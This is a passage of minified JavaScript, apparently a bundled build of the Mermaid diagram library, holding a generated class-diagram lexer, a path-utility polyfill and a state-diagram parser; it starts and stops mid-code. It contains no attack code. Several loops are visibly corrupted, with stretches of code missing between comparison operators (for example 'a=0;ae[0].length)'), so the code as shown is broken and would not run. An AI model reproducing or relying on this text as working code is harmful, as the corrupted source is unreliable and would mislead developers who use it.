this.yy=e||this.yy||{},this._input=t,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},input:function(){var t=this._input[0];return this.yytext+=t,this.yyleng++,this.offset++,this.match+=t,this.matched+=t,t.match(/(?:\r\n?|\n).*/g)?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),t},unput:function(t){var e=t.length,n=t.split(/(?:\r\n?|\n)/g);this._input=t+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-e),this.offset-=e;var r=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),n.length-1&&(this.yylineno-=n.length-1);var i=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:n?(n.length===r.length?this.yylloc.first_column:0)+r[r.length-n.length].length-n[0].length:this.yylloc.first_column-e},this.options.ranges&&(this.yylloc.range=[i[0],i[0]+this.yyleng-e]),this.yyleng=this.yytext.length,this},more:function(){return this._more=!0,this},reject:function(){return this.options.backtrack_lexer?(this._backtrack=!0,this):this.parseError("Lexical error on line "+(this.yylineno+1)+". You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true).\n"+this.showPosition(),{text:"",token:null,line:this.yylineno})},less:function(t){this.unput(this.match.slice(t))},pastInput:function(){var t=this.matched.substr(0,this.matched.length-this.match.length);return(t.length>20?"...":"")+t.substr(-20).replace(/\n/g,"")},upcomingInput:function(){var t=this.match;return t.length<20&&(t+=this._input.substr(0,20-t.length)),(t.substr(0,20)+(t.length>20?"...":"")).replace(/\n/g,"")},showPosition:function(){var t=this.pastInput(),e=new Array(t.length+1).join("-");return t+this.upcomingInput()+"\n"+e+"^"},test_match:function(t,e){var n,r,i;if(this.options.backtrack_lexer&&(i={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(i.yylloc.range=this.yylloc.range.slice(0))),(r=t[0].match(/(?:\r\n?|\n).*/g))&&(this.yylineno+=r.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:r?r[r.length-1].length-r[r.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+t[0].length},this.yytext+=t[0],this.match+=t[0],this.matches=t,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(t[0].length),this.matched+=t[0],n=this.performAction.call(this,this.yy,this,e,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),n)return n;if(this._backtrack){for(var a in i)this[a]=i[a];return!1}return!1},next:function(){if(this.done)return this.EOF;var t,e,n,r;this._input||(this.done=!0),this._more||(this.yytext="",this.match="");for(var i=this._currentRules(),a=0;ae[0].length)){if(e=n,r=a,this.options.backtrack_lexer){if(!1!==(t=this.test_match(n,i[a])))return t;if(this._backtrack){e=!1;continue}return!1}if(!this.options.flex)break}return e?!1!==(t=this.test_match(e,i[r]))&&t:""===this._input?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+". Unrecognized text.\n"+this.showPosition(),{text:"",token:null,line:this.yylineno})},lex:function(){var t=this.next();return t||this.lex()},begin:function(t){this.conditionStack.push(t)},popState:function(){return this.conditionStack.length-1>0?this.conditionStack.pop():this.conditionStack[0]},_currentRules:function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},topState:function(t){return(t=this.conditionStack.length-1-Math.abs(t||0))>=0?this.conditionStack[t]:"INITIAL"},pushState:function(t){this.begin(t)},stateStackSize:function(){return this.conditionStack.length},options:{},performAction:function(t,e,n,r){switch(n){case 0:return this.begin("open_directive"),18;case 1:return 7;case 2:return 8;case 3:return 9;case 4:return 10;case 5:return this.begin("type_directive"),19;case 6:return this.popState(),this.begin("arg_directive"),16;case 7:return this.popState(),this.popState(),21;case 8:return 20;case 9:case 10:break;case 11:return 15;case 12:break;case 13:case 14:return 22;case 15:return this.begin("struct"),39;case 16:return"EOF_IN_STRUCT";case 17:return"OPEN_IN_STRUCT";case 18:return this.popState(),41;case 19:break;case 20:return"MEMBER";case 21:return 37;case 22:return 63;case 23:return 56;case 24:return 57;case 25:return 59;case 26:return 42;case 27:return 43;case 28:this.begin("generic");break;case 29:this.popState();break;case 30:return"GENERICTYPE";case 31:this.begin("string");break;case 32:this.popState();break;case 33:return"STR";case 34:this.begin("bqstring");break;case 35:this.popState();break;case 36:return"BQUOTE_STR";case 37:this.begin("href");break;case 38:this.popState();break;case 39:return 62;case 40:this.begin("callback_name");break;case 41:this.popState();break;case 42:this.popState(),this.begin("callback_args");break;case 43:return 60;case 44:this.popState();break;case 45:return 61;case 46:case 47:case 48:case 49:return 58;case 50:case 51:return 51;case 52:case 53:return 53;case 54:return 52;case 55:return 50;case 56:return 54;case 57:return 55;case 58:return 31;case 59:return 38;case 60:return 75;case 61:return"DOT";case 62:return"PLUS";case 63:return 72;case 64:case 65:return"EQUALS";case 66:return 79;case 67:return"PUNCTUATION";case 68:return 78;case 69:return 77;case 70:return 74;case 71:return 24}},rules:[/^(?:%%\{)/,/^(?:.*direction\s+TB[^\n]*)/,/^(?:.*direction\s+BT[^\n]*)/,/^(?:.*direction\s+RL[^\n]*)/,/^(?:.*direction\s+LR[^\n]*)/,/^(?:((?:(?!\}%%)[^:.])*))/,/^(?::)/,/^(?:\}%%)/,/^(?:((?:(?!\}%%).|\n)*))/,/^(?:%%(?!\{)*[^\n]*(\r?\n?)+)/,/^(?:%%[^\n]*(\r?\n)*)/,/^(?:(\r?\n)+)/,/^(?:\s+)/,/^(?:classDiagram-v2\b)/,/^(?:classDiagram\b)/,/^(?:[{])/,/^(?:$)/,/^(?:[{])/,/^(?:[}])/,/^(?:[\n])/,/^(?:[^{}\n]*)/,/^(?:class\b)/,/^(?:cssClass\b)/,/^(?:callback\b)/,/^(?:link\b)/,/^(?:click\b)/,/^(?:<<)/,/^(?:>>)/,/^(?:[~])/,/^(?:[~])/,/^(?:[^~]*)/,/^(?:["])/,/^(?:["])/,/^(?:[^"]*)/,/^(?:[`])/,/^(?:[`])/,/^(?:[^`]+)/,/^(?:href[\s]+["])/,/^(?:["])/,/^(?:[^"]*)/,/^(?:call[\s]+)/,/^(?:\([\s]*\))/,/^(?:\()/,/^(?:[^(]*)/,/^(?:\))/,/^(?:[^)]*)/,/^(?:_self\b)/,/^(?:_blank\b)/,/^(?:_parent\b)/,/^(?:_top\b)/,/^(?:\s*<\|)/,/^(?:\s*\|>)/,/^(?:\s*>)/,/^(?:\s*<)/,/^(?:\s*\*)/,/^(?:\s*o\b)/,/^(?:--)/,/^(?:\.\.)/,/^(?::{1}[^:\n;]+)/,/^(?::{3})/,/^(?:-)/,/^(?:\.)/,/^(?:\+)/,/^(?:%)/,/^(?:=)/,/^(?:=)/,/^(?:\w+)/,/^(?:[!"#$%&'*+,-.`?\\/])/,/^(?:[0-9]+)/,/^(?:[\u00AA\u00B5\u00BA\u00C0-\u00D6\u00D8-\u00F6]|[\u00F8-\u02C1\u02C6-\u02D1\u02E0-\u02E4\u02EC\u02EE\u0370-\u0374\u0376\u0377]|[\u037A-\u037D\u0386\u0388-\u038A\u038C\u038E-\u03A1\u03A3-\u03F5]|[\u03F7-\u0481\u048A-\u0527\u0531-\u0556\u0559\u0561-\u0587\u05D0-\u05EA]|[\u05F0-\u05F2\u0620-\u064A\u066E\u066F\u0671-\u06D3\u06D5\u06E5\u06E6\u06EE]|[\u06EF\u06FA-\u06FC\u06FF\u0710\u0712-\u072F\u074D-\u07A5\u07B1\u07CA-\u07EA]|[\u07F4\u07F5\u07FA\u0800-\u0815\u081A\u0824\u0828\u0840-\u0858\u08A0]|[\u08A2-\u08AC\u0904-\u0939\u093D\u0950\u0958-\u0961\u0971-\u0977]|[\u0979-\u097F\u0985-\u098C\u098F\u0990\u0993-\u09A8\u09AA-\u09B0\u09B2]|[\u09B6-\u09B9\u09BD\u09CE\u09DC\u09DD\u09DF-\u09E1\u09F0\u09F1\u0A05-\u0A0A]|[\u0A0F\u0A10\u0A13-\u0A28\u0A2A-\u0A30\u0A32\u0A33\u0A35\u0A36\u0A38\u0A39]|[\u0A59-\u0A5C\u0A5E\u0A72-\u0A74\u0A85-\u0A8D\u0A8F-\u0A91\u0A93-\u0AA8]|[\u0AAA-\u0AB0\u0AB2\u0AB3\u0AB5-\u0AB9\u0ABD\u0AD0\u0AE0\u0AE1\u0B05-\u0B0C]|[\u0B0F\u0B10\u0B13-\u0B28\u0B2A-\u0B30\u0B32\u0B33\u0B35-\u0B39\u0B3D\u0B5C]|[\u0B5D\u0B5F-\u0B61\u0B71\u0B83\u0B85-\u0B8A\u0B8E-\u0B90\u0B92-\u0B95\u0B99]|[\u0B9A\u0B9C\u0B9E\u0B9F\u0BA3\u0BA4\u0BA8-\u0BAA\u0BAE-\u0BB9\u0BD0]|[\u0C05-\u0C0C\u0C0E-\u0C10\u0C12-\u0C28\u0C2A-\u0C33\u0C35-\u0C39\u0C3D]|[\u0C58\u0C59\u0C60\u0C61\u0C85-\u0C8C\u0C8E-\u0C90\u0C92-\u0CA8\u0CAA-\u0CB3]|[\u0CB5-\u0CB9\u0CBD\u0CDE\u0CE0\u0CE1\u0CF1\u0CF2\u0D05-\u0D0C\u0D0E-\u0D10]|[\u0D12-\u0D3A\u0D3D\u0D4E\u0D60\u0D61\u0D7A-\u0D7F\u0D85-\u0D96\u0D9A-\u0DB1]|[\u0DB3-\u0DBB\u0DBD\u0DC0-\u0DC6\u0E01-\u0E30\u0E32\u0E33\u0E40-\u0E46\u0E81]|[\u0E82\u0E84\u0E87\u0E88\u0E8A\u0E8D\u0E94-\u0E97\u0E99-\u0E9F\u0EA1-\u0EA3]|[\u0EA5\u0EA7\u0EAA\u0EAB\u0EAD-\u0EB0\u0EB2\u0EB3\u0EBD\u0EC0-\u0EC4\u0EC6]|[\u0EDC-\u0EDF\u0F00\u0F40-\u0F47\u0F49-\u0F6C\u0F88-\u0F8C\u1000-\u102A]|[\u103F\u1050-\u1055\u105A-\u105D\u1061\u1065\u1066\u106E-\u1070\u1075-\u1081]|[\u108E\u10A0-\u10C5\u10C7\u10CD\u10D0-\u10FA\u10FC-\u1248\u124A-\u124D]|[\u1250-\u1256\u1258\u125A-\u125D\u1260-\u1288\u128A-\u128D\u1290-\u12B0]|[\u12B2-\u12B5\u12B8-\u12BE\u12C0\u12C2-\u12C5\u12C8-\u12D6\u12D8-\u1310]|[\u1312-\u1315\u1318-\u135A\u1380-\u138F\u13A0-\u13F4\u1401-\u166C]|[\u166F-\u167F\u1681-\u169A\u16A0-\u16EA\u1700-\u170C\u170E-\u1711]|[\u1720-\u1731\u1740-\u1751\u1760-\u176C\u176E-\u1770\u1780-\u17B3\u17D7]|[\u17DC\u1820-\u1877\u1880-\u18A8\u18AA\u18B0-\u18F5\u1900-\u191C]|[\u1950-\u196D\u1970-\u1974\u1980-\u19AB\u19C1-\u19C7\u1A00-\u1A16]|[\u1A20-\u1A54\u1AA7\u1B05-\u1B33\u1B45-\u1B4B\u1B83-\u1BA0\u1BAE\u1BAF]|[\u1BBA-\u1BE5\u1C00-\u1C23\u1C4D-\u1C4F\u1C5A-\u1C7D\u1CE9-\u1CEC]|[\u1CEE-\u1CF1\u1CF5\u1CF6\u1D00-\u1DBF\u1E00-\u1F15\u1F18-\u1F1D]|[\u1F20-\u1F45\u1F48-\u1F4D\u1F50-\u1F57\u1F59\u1F5B\u1F5D\u1F5F-\u1F7D]|[\u1F80-\u1FB4\u1FB6-\u1FBC\u1FBE\u1FC2-\u1FC4\u1FC6-\u1FCC\u1FD0-\u1FD3]|[\u1FD6-\u1FDB\u1FE0-\u1FEC\u1FF2-\u1FF4\u1FF6-\u1FFC\u2071\u207F]|[\u2090-\u209C\u2102\u2107\u210A-\u2113\u2115\u2119-\u211D\u2124\u2126\u2128]|[\u212A-\u212D\u212F-\u2139\u213C-\u213F\u2145-\u2149\u214E\u2183\u2184]|[\u2C00-\u2C2E\u2C30-\u2C5E\u2C60-\u2CE4\u2CEB-\u2CEE\u2CF2\u2CF3]|[\u2D00-\u2D25\u2D27\u2D2D\u2D30-\u2D67\u2D6F\u2D80-\u2D96\u2DA0-\u2DA6]|[\u2DA8-\u2DAE\u2DB0-\u2DB6\u2DB8-\u2DBE\u2DC0-\u2DC6\u2DC8-\u2DCE]|[\u2DD0-\u2DD6\u2DD8-\u2DDE\u2E2F\u3005\u3006\u3031-\u3035\u303B\u303C]|[\u3041-\u3096\u309D-\u309F\u30A1-\u30FA\u30FC-\u30FF\u3105-\u312D]|[\u3131-\u318E\u31A0-\u31BA\u31F0-\u31FF\u3400-\u4DB5\u4E00-\u9FCC]|[\uA000-\uA48C\uA4D0-\uA4FD\uA500-\uA60C\uA610-\uA61F\uA62A\uA62B]|[\uA640-\uA66E\uA67F-\uA697\uA6A0-\uA6E5\uA717-\uA71F\uA722-\uA788]|[\uA78B-\uA78E\uA790-\uA793\uA7A0-\uA7AA\uA7F8-\uA801\uA803-\uA805]|[\uA807-\uA80A\uA80C-\uA822\uA840-\uA873\uA882-\uA8B3\uA8F2-\uA8F7\uA8FB]|[\uA90A-\uA925\uA930-\uA946\uA960-\uA97C\uA984-\uA9B2\uA9CF\uAA00-\uAA28]|[\uAA40-\uAA42\uAA44-\uAA4B\uAA60-\uAA76\uAA7A\uAA80-\uAAAF\uAAB1\uAAB5]|[\uAAB6\uAAB9-\uAABD\uAAC0\uAAC2\uAADB-\uAADD\uAAE0-\uAAEA\uAAF2-\uAAF4]|[\uAB01-\uAB06\uAB09-\uAB0E\uAB11-\uAB16\uAB20-\uAB26\uAB28-\uAB2E]|[\uABC0-\uABE2\uAC00-\uD7A3\uD7B0-\uD7C6\uD7CB-\uD7FB\uF900-\uFA6D]|[\uFA70-\uFAD9\uFB00-\uFB06\uFB13-\uFB17\uFB1D\uFB1F-\uFB28\uFB2A-\uFB36]|[\uFB38-\uFB3C\uFB3E\uFB40\uFB41\uFB43\uFB44\uFB46-\uFBB1\uFBD3-\uFD3D]|[\uFD50-\uFD8F\uFD92-\uFDC7\uFDF0-\uFDFB\uFE70-\uFE74\uFE76-\uFEFC]|[\uFF21-\uFF3A\uFF41-\uFF5A\uFF66-\uFFBE\uFFC2-\uFFC7\uFFCA-\uFFCF]|[\uFFD2-\uFFD7\uFFDA-\uFFDC])/,/^(?:\s)/,/^(?:$)/],conditions:{arg_directive:{rules:[7,8],inclusive:!1},type_directive:{rules:[6,7],inclusive:!1},open_directive:{rules:[5],inclusive:!1},callback_args:{rules:[44,45],inclusive:!1},callback_name:{rules:[41,42,43],inclusive:!1},href:{rules:[38,39],inclusive:!1},struct:{rules:[16,17,18,19,20],inclusive:!1},generic:{rules:[29,30],inclusive:!1},bqstring:{rules:[35,36],inclusive:!1},string:{rules:[32,33],inclusive:!1},INITIAL:{rules:[0,1,2,3,4,9,10,11,12,13,14,15,21,22,23,24,25,26,27,28,31,34,37,40,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71],inclusive:!0}}};function P(){this.yy={}}return R.lexer=F,P.prototype=R,R.Parser=P,new P}();e.parser=i,e.Parser=i.Parser,e.parse=function(){return i.parse.apply(i,arguments)},e.main=function(r){r[1]||(console.log("Usage: "+r[0]+" FILE"),t.exit(1));var i=n(16).readFileSync(n(17).normalize(r[1]),"utf8");return e.parser.parse(i)},n.c[n.s]===r&&e.main(t.argv.slice(1))}).call(this,n(11),n(6)(t))},function(t,e){},function(t,e,n){(function(t){function n(t,e){for(var n=0,r=t.length-1;r>=0;r--){var i=t[r];"."===i?t.splice(r,1):".."===i?(t.splice(r,1),n++):n&&(t.splice(r,1),n--)}if(e)for(;n--;n)t.unshift("..");return t}function r(t,e){if(t.filter)return t.filter(e);for(var n=[],r=0;r=-1&&!i;a--){var o=a>=0?arguments[a]:t.cwd();if("string"!=typeof o)throw new TypeError("Arguments to path.resolve must be strings");o&&(e=o+"/"+e,i="/"===o.charAt(0))}return(i?"/":"")+(e=n(r(e.split("/"),(function(t){return!!t})),!i).join("/"))||"."},e.normalize=function(t){var a=e.isAbsolute(t),o="/"===i(t,-1);return(t=n(r(t.split("/"),(function(t){return!!t})),!a).join("/"))||a||(t="."),t&&o&&(t+="/"),(a?"/":"")+t},e.isAbsolute=function(t){return"/"===t.charAt(0)},e.join=function(){var t=Array.prototype.slice.call(arguments,0);return e.normalize(r(t,(function(t,e){if("string"!=typeof t)throw new TypeError("Arguments to path.join must be strings");return t})).join("/"))},e.relative=function(t,n){function r(t){for(var e=0;e=0&&""===t[n];n--);return e>n?[]:t.slice(e,n-e+1)}t=e.resolve(t).substr(1),n=e.resolve(n).substr(1);for(var i=r(t.split("/")),a=r(n.split("/")),o=Math.min(i.length,a.length),s=o,u=0;u=1;--a)if(47===(e=t.charCodeAt(a))){if(!i){r=a;break}}else i=!1;return-1===r?n?"/":".":n&&1===r?"/":t.slice(0,r)},e.basename=function(t,e){var n=function(t){"string"!=typeof t&&(t+="");var e,n=0,r=-1,i=!0;for(e=t.length-1;e>=0;--e)if(47===t.charCodeAt(e)){if(!i){n=e+1;break}}else-1===r&&(i=!1,r=e+1);return-1===r?"":t.slice(n,r)}(t);return e&&n.substr(-1*e.length)===e&&(n=n.substr(0,n.length-e.length)),n},e.extname=function(t){"string"!=typeof t&&(t+="");for(var e=-1,n=0,r=-1,i=!0,a=0,o=t.length-1;o>=0;--o){var s=t.charCodeAt(o);if(47!==s)-1===r&&(i=!1,r=o+1),46===s?-1===e?e=o:1!==a&&(a=1):-1!==e&&(a=-1);else if(!i){n=o+1;break}}return-1===e||-1===r||0===a||1===a&&e===r-1&&e===n+1?"":t.slice(e,r)};var i="b"==="ab".substr(-1)?function(t,e,n){return t.substr(e,n)}:function(t,e,n){return e<0&&(e=t.length+e),t.substr(e,n)}}).call(this,n(11))},function(t,e,n){var r=n(137),i="object"==typeof self&&self&&self.Object===Object&&self,a=r||i||Function("return this")();t.exports=a},function(t,e,n){var r;try{r=n(2)}catch(t){}r||(r=window.graphlib),t.exports=r},,,function(t,e){t.exports=function(t){return null!=t&&"object"==typeof t}},function(t,e,n){(function(t,r){var i=function(){var t=function(t,e,n,r){for(n=n||{},r=t.length;r--;n[t[r]]=e);return n},e=[1,2],n=[1,3],r=[1,5],i=[1,7],a=[2,5],o=[1,15],s=[1,17],u=[1,19],c=[1,20],l=[1,21],h=[1,22],f=[1,30],d=[1,23],p=[1,24],y=[1,25],g=[1,26],v=[1,27],m=[1,32],b=[1,33],_=[1,34],x=[1,35],w=[1,31],k=[1,38],T=[1,4,5,14,15,17,19,20,22,23,24,25,26,27,36,37,38,39,42,45],E=[1,4,5,12,13,14,15,17,19,20,22,23,24,25,26,27,36,37,38,39,42,45],C=[1,4,5,7,14,15,17,19,20,22,23,24,25,26,27,36,37,38,39,42,45],S=[4,5,14,15,17,19,20,22,23,24,25,26,27,36,37,38,39,42,45],A={trace:function(){},yy:{},symbols_:{error:2,start:3,SPACE:4,NL:5,directive:6,SD:7,document:8,line:9,statement:10,idStatement:11,DESCR:12,"--\x3e":13,HIDE_EMPTY:14,scale:15,WIDTH:16,COMPOSIT_STATE:17,STRUCT_START:18,STRUCT_STOP:19,STATE_DESCR:20,AS:21,ID:22,FORK:23,JOIN:24,CHOICE:25,CONCURRENT:26,note:27,notePosition:28,NOTE_TEXT:29,direction:30,openDirective:31,typeDirective:32,closeDirective:33,":":34,argDirective:35,direction_tb:36,direction_bt:37,direction_rl:38,direction_lr:39,eol:40,";":41,EDGE_STATE:42,left_of:43,right_of:44,open_directive:45,type_directive:46,arg_directive:47,close_directive:48,$accept:0,$end:1},terminals_:{2:"error",4:"SPACE",5:"NL",7:"SD",12:"DESCR",13:"--\x3e",14:"HIDE_EMPTY",15:"scale",16:"WIDTH",17:"COMPOSIT_STATE",18:"STRUCT_START",19:"STRUCT_STOP",20:"STATE_DESCR",21:"AS",22:"ID",23:"FORK",24:"JOIN",25:"CHOICE",26:"CONCURRENT",27:"note",29:"NOTE_TEXT",34:":",36:"direction_tb",37:"direction_bt",38:"direction_rl",39:"direction_lr",41:";",42:"EDGE_STATE",43:"left_of",44:"right_of",45:"open_directive",46:"type_directive",47:"arg_directive",48:"close_directive"},productions_:[0,[3,2],[3,2],[3,2],[3,2],[8,0],[8,2],[9,2],[9,1],[9,1],[10,1],[10,2],[10,3],[10,4],[10,1],[10,2],[10,1],[10,4],[10,3],[10,6],[10,1],[10,1],[10,1],[10,1],[10,4],[10,4],[10,1],[10,1],[6,3],[6,5],[30,1],[30,1],[30,1],[30,1],[40,1],[40,1],[11,1],[11,1],[28,1],[28,1],[31,1],[32,1],[35,1],[33,1]],performAction:function(t,e,n,r,i,a,o){var s=a.length-1;switch(i){case 4:return r.setRootDoc(a[s]),a[s];case 5:this.$=[];break;case 6:"nl"!=a[s]&&(a[s-1].push(a[s]),this.$=a[s-1]);break;case 7:case 8:this.$=a[s];break;case 9:this.$="nl";break;case 10:this.$={stmt:"state",id:a[s],type:"default",description:""};break;case 11:this.$={stmt:"state",id:a[s-1],type:"default",description:r.trimColon(a[s])};break;case 12:this.$={stmt:"relation",state1:{stmt:"state",id:a[s-2],type:"default",description:""},state2:{stmt:"state",id:a[s],type:"default",description:""}};break;case 13:this.$={stmt:"relation",state1:{stmt:"state",id:a[s-3],type:"default",description:""},state2:{stmt:"state",id:a[s-1],type:"default",description:""},description:a[s].substr(1).trim()};break;case 17:this.$={stmt:"state",id:a[s-3],type:"default",description:"",doc:a[s-1]};break;case 18:var u=a[s],c=a[s-2].trim();if(a[s].match(":")){var l=a[s].split(":");u=l[0],c=[c,l[1]]}this.$={stmt:"state",id:u,type:"default",description:c};break;case 19:this.$={stmt:"state",id:a[s-3],type:"default",description:a[s-5],doc:a[s-1]};break;case 20:this.$={stmt:"state",id:a[s],type:"fork"};break;case 21:this.$={stmt:"state",id:a[s],type:"join"};break;case 22:this.$={stmt:"state",id:a[s],type:"choice"};break;case 23:this.$={stmt:"state",id:r.getDividerId(),type:"divider"};break;case 24:this.$={stmt:"state",id:a[s-1].trim(),note:{position:a[s-2].trim(),text:a[s].trim()}};break;case 30:r.setDirection("TB"),this.$={stmt:"dir",value:"TB"};break;case 31:r.setDirection("BT"),this.$={stmt:"dir",value:"BT"};break;case 32:r.setDirection("RL"),this.$={stmt:"dir",value:"RL"};break;case 33:r.setDirection("LR"),this.$={stmt:"dir",value:"LR"};break;case 36:case 37:this.$=a[s];break;case 40:r.parseDirective("%%{","open_directive");break;case 41:r.parseDirective(a[s],"type_directive");break;case 42:a[s]=a[s].trim().replace(/'/g,'"'),r.parseDirective(a[s],"arg_directive");break;case 43:r.parseDirective("}%%","close_directive","state")}},table:[{3:1,4:e,5:n,6:4,7:r,31:6,45:i},{1:[3]},{3:8,4:e,5:n,6:4,7:r,31:6,45:i},{3:9,4:e,5:n,6:4,7:r,31:6,45:i},{3:10,4:e,5:n,6:4,7:r,31:6,45:i},t([1,4,5,14,15,17,20,22,23,24,25,26,27,36,37,38,39,42,45],a,{8:11}),{32:12,46:[1,13]},{46:[2,40]},{1:[2,1]},{1:[2,2]},{1:[2,3]},{1:[2,4],4:o,5:s,6:28,9:14,10:16,11:18,14:u,15:c,17:l,20:h,22:f,23:d,24:p,25:y,26:g,27:v,30:29,31:6,36:m,37:b,38:_,39:x,42:w,45:i},{33:36,34:[1,37],48:k},t([34,48],[2,41]),t(T,[2,6]),{6:28,10:39,11:18,14:u,15:c,17:l,20:h,22:f,23:d,24:p,25:y,26:g,27:v,30:29,31:6,36:m,37:b,38:_,39:x,42:w,45:i},t(T,[2,8]),t(T,[2,9]),t(T,[2,10],{12:[1,40],13:[1,41]}),t(T,[2,14]),{16:[1,42]},t(T,[2,16],{18:[1,43]}),{21:[1,44]},t(T,[2,20]),t(T,[2,21]),t(T,[2,22]),t(T,[2,23]),{28:45,29:[1,46],43:[1,47],44:[1,48]},t(T,[2,26]),t(T,[2,27]),t(E,[2,36]),t(E,[2,37]),t(T,[2,30]),t(T,[2,31]),t(T,[2,32]),t(T,[2,33]),t(C,[2,28]),{35:49,47:[1,50]},t(C,[2,43]),t(T,[2,7]),t(T,[2,11]),{11:51,22:f,42:w},t(T,[2,15]),t(S,a,{8:52}),{22:[1,53]},{22:[1,54]},{21:[1,55]},{22:[2,38]},{22:[2,39]},{33:56,48:k},{48:[2,42]},t(T,[2,12],{12:[1,57]}),{4:o,5:s,6:28,9:14,10:16,11:18,14:u,15:c,17:l,19:[1,58],20:h,22:f,23:d,24:p,25:y,26:g,27:v,30:29,31:6,36:m,37:b,38:_,39:x,42:w,45:i},t(T,[2,18],{18:[1,59]}),{29:[1,60]},{22:[1,61]},t(C,[2,29]),t(T,[2,13]),t(T,[2,17]),t(S,a,{8:62}),t(T,[2,24]),t(T,[2,25]),{4:o,5:s,6:28,9:14,10:16,11:18,14:u,15:c,17:l,19:[1,63],20:h,22:f,23:d,24:p,25:y,26:g,27:v,30:29,31:6,36:m,37:b,38:_,39:x,42:w,45:i},t(T,[2,19])],defaultActions:{7:[2,40],8:[2,1],9:[2,2],10:[2,3],47:[2,38],48:[2,39],50:[2,42]},parseError:function(t,e){if(!e.recoverable){var n=new Error(t);throw n.hash=e,n}this.trace(t)},parse:function(t){var e=this,n=[0],r=[],i=[null],a=[],o=this.table,s="",u=0,c=0,l=0,h=2,f=1,d=a.slice.call(arguments,1),p=Object.create(this.lexer),y={yy:{}};for(var g in this.yy)Object.prototype.hasOwnProperty.call(this.yy,g)&&(y.yy[g]=this.yy[g]);p.setInput(t,y.yy),y.yy.lexer=p,y.yy.parser=this,void 0===p.yylloc&&(p.yylloc={});var v=p.yylloc;a.push(v);var m=p.options&&p.options.ranges;function b(){var t;return"number"!=typeof(t=r.pop()||p.lex()||f)&&(t instanceof Array&&(t=(r=t).pop()),t=e.symbols_[t]||t),t}"function"==typeof y.yy.parseError?this.parseError=y.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;for(var _,x,w,k,T,E,C,S,A,M={};;){if(w=n[n.length-1],this.defaultActions[w]?k=this.defaultActions[w]:(null==_&&(_=b()),k=o[w]&&o[w][_]),void 0===k||!k.length||!k[0]){var N="";for(E in A=[],o[w])this.terminals_[E]&&E>h&&A.push("'"+this.terminals_[E]+"'");N=p.showPosition?"Parse error on line "+(u+1)+":\n"+p.showPosition()+"\nExpecting "+A.join(", ")+", got '"+(this.terminals_[_]||_)+"'":"Parse error on line "+(u+1)+": Unexpected "+(_==f?"end of input":"'"+(this.terminals_[_]||_)+"'"),this.parseError(N,{text:p.match,token:this.terminals_[_]||_,line:p.yylineno,loc:v,expected:A})}if(k[0]instanceof Array&&k.length>1)throw new Error("Parse Error: multiple actions possible at state: "+w+", token: "+_);switch(k[0]){case 1:n.push(_),i.push(p.yytext),a.push(p.yylloc),n.push(k[1]),_=null,x?(_=x,x=null):(c=p.yyleng,s=p.yytext,u=p.yylineno,v=p.yylloc,l>0&&l--);break;case 2:if(C=this.productions_[k[1]][1],M.$=i[i.length-C],M._$={first_line:a[a.length-(C||1)].first_line,last_line:a[a.length-1].last_line,first_column:a[a.length-(C||1)].first_column,last_column:a[a.length-1].last_column},m&&(M._$.range=[a[a.length-(C||1)].range[0],a[a.length-1].range[1]]),void 0!==(T=this.performAction.apply(M,[s,c,u,y.yy,k[1],i,a].concat(d))))return T;C&&(n=n.slice(0,-1*C*2),i=i.slice(0,-1*C),a=a.slice(0,-1*C)),n.push(this.productions_[k[1]][0]),i.push(M.$),a.push(M._$),S=o[n[n.length-2]][n[n.length-1]],n.push(S);break;case 3:return!0}}return!0}},M={EOF:1,parseError:function(t,e){if(!this.yy.parser)throw new Error(t);this.yy.parser.parseError(t,e)},setInput:function(t,e){return this.yy=e||this.yy||{},this._input=t,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},input:function(){var t=this._input[0];return this.yytext+=t,this.yyleng++,this.offset++,this.match+=t,this.matched+=t,t.match(/(?:\r\n?|\n).*/g)?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),t},unput:function(t){var e=t.length,n=t.split(/(?:\r\n?|\n)/g);this._input=t+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-e),this.offset-=e;var r=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),n.length-1&&(this.yylineno-=n.length-1);var i=this.yylloc.range;return 